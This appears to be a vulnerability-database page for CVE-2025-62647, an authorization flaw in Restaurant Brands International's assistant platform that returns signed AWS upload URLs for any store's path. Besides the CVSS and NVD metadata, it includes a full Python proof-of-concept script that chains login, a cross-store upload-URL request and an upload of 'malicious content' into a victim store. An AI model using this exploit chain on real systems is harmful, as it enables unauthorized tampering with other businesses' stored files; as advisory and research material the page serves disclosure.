Security Vulnerability Report
中文
CVE-2025-62647 CVSS 5.0 MEDIUM

CVE-2025-62647

Published: 2025-10-17 21:15:38
Last Modified: 2025-10-31 18:39:43

Description

The Restaurant Brands International (RBI) assistant platform through 2025-09-06 provides the functionality of returning a JWT that can be used to call an API to return a signed AWS upload URL, for any store's path.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:rbi:restaurant_brands_international_assistant:*:*:*:*:*:*:*:* - VULNERABLE
Restaurant Brands International (RBI) Assistant Platform <= 2025-09-06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62647 - RBI Assistant Platform IDOR Vulnerability PoC # Exploits JWT-based API to retrieve AWS signed upload URLs for arbitrary store paths import requests import json # Step 1: Obtain a valid JWT token (e.g., by registering a legitimate store account) # Replace with actual authentication endpoint AUTH_URL = "https://rbi-assistant.example.com/api/auth/login" STORE_CREDENTIALS = { "username": "attacker_store_user", "password": "attacker_password" } def get_jwt_token(auth_url, credentials): """Authenticate and retrieve a valid JWT token""" response = requests.post(auth_url, json=credentials) if response.status_code == 200: token = response.json().get("token") return token return None # Step 2: Define the API endpoint that returns AWS signed upload URLs UPLOAD_URL_API = "https://rbi-assistant.example.com/api/get-upload-url" def exploit_idor(token, target_store_path): """ Exploit the IDOR vulnerability by requesting an AWS upload URL for a store path that the authenticated user should not have access to. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "store_path": target_store_path, # Path belonging to another store "file_name": "malicious_file.txt" } response = requests.post(UPLOAD_URL_API, headers=headers, json=payload) if response.status_code == 200: signed_url = response.json().get("upload_url") print(f"[+] Successfully obtained signed URL for target store: {target_store_path}") print(f"[+] Signed URL: {signed_url}") return signed_url else: print(f"[-] Failed. Status code: {response.status_code}") return None # Step 3: Use the signed URL to upload arbitrary content to the target store def upload_to_target(signed_url, content): """Upload malicious content to the target store's S3 bucket""" response = requests.put(signed_url, data=content) if response.status_code == 200: print("[+] File successfully uploaded to target store!") else: print(f"[-] Upload failed. Status code: {response.status_code}") # Main exploit chain if __name__ == "__main__": # Get a legitimate JWT token jwt_token = get_jwt_token(AUTH_URL, STORE_CREDENTIALS) if jwt_token: print(f"[+] JWT token obtained: {jwt_token[:30]}...") # Target a different store's path (IDOR exploitation) target_path = "stores/victim_store_id/uploads/" signed_url = exploit_idor(jwt_token, target_path) if signed_url: # Upload arbitrary content upload_to_target(signed_url, b"Malicious content - arbitrary file upload") else: print("[-] Failed to obtain JWT token")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62647", "sourceIdentifier": "[email protected]", "published": "2025-10-17T21:15:37.827", "lastModified": "2025-10-31T18:39:42.560", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "The Restaurant Brands International (RBI) assistant platform through 2025-09-06 provides the functionality of returning a JWT that can be used to call an API to return a signed AWS upload URL, for any store's path."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rbi:restaurant_brands_international_assistant:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-09-06", "matchCriteriaId": "706D04A1-2EDB-4713-BA47-EFDC8A86FBA3"}]}]}], "references": [{"url": "https://archive.today/fMYQp", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://bobdahacker.com/blog/rbi-hacked-drive-thrus/", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://web.archive.org/web/20250906134240/https:/bobdahacker.com/blog/rbi-hacked-drive-thrus", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.malwarebytes.com/blog/news/2025/09/popeyes-tim-hortons-burger-king-platforms-have-catastrophic-vulnerabilities-say-hackers", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}, {"url": "https://www.yahoo.com/news/articles/burger-king-hacked-attackers-impressed-124154038.html", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}]}}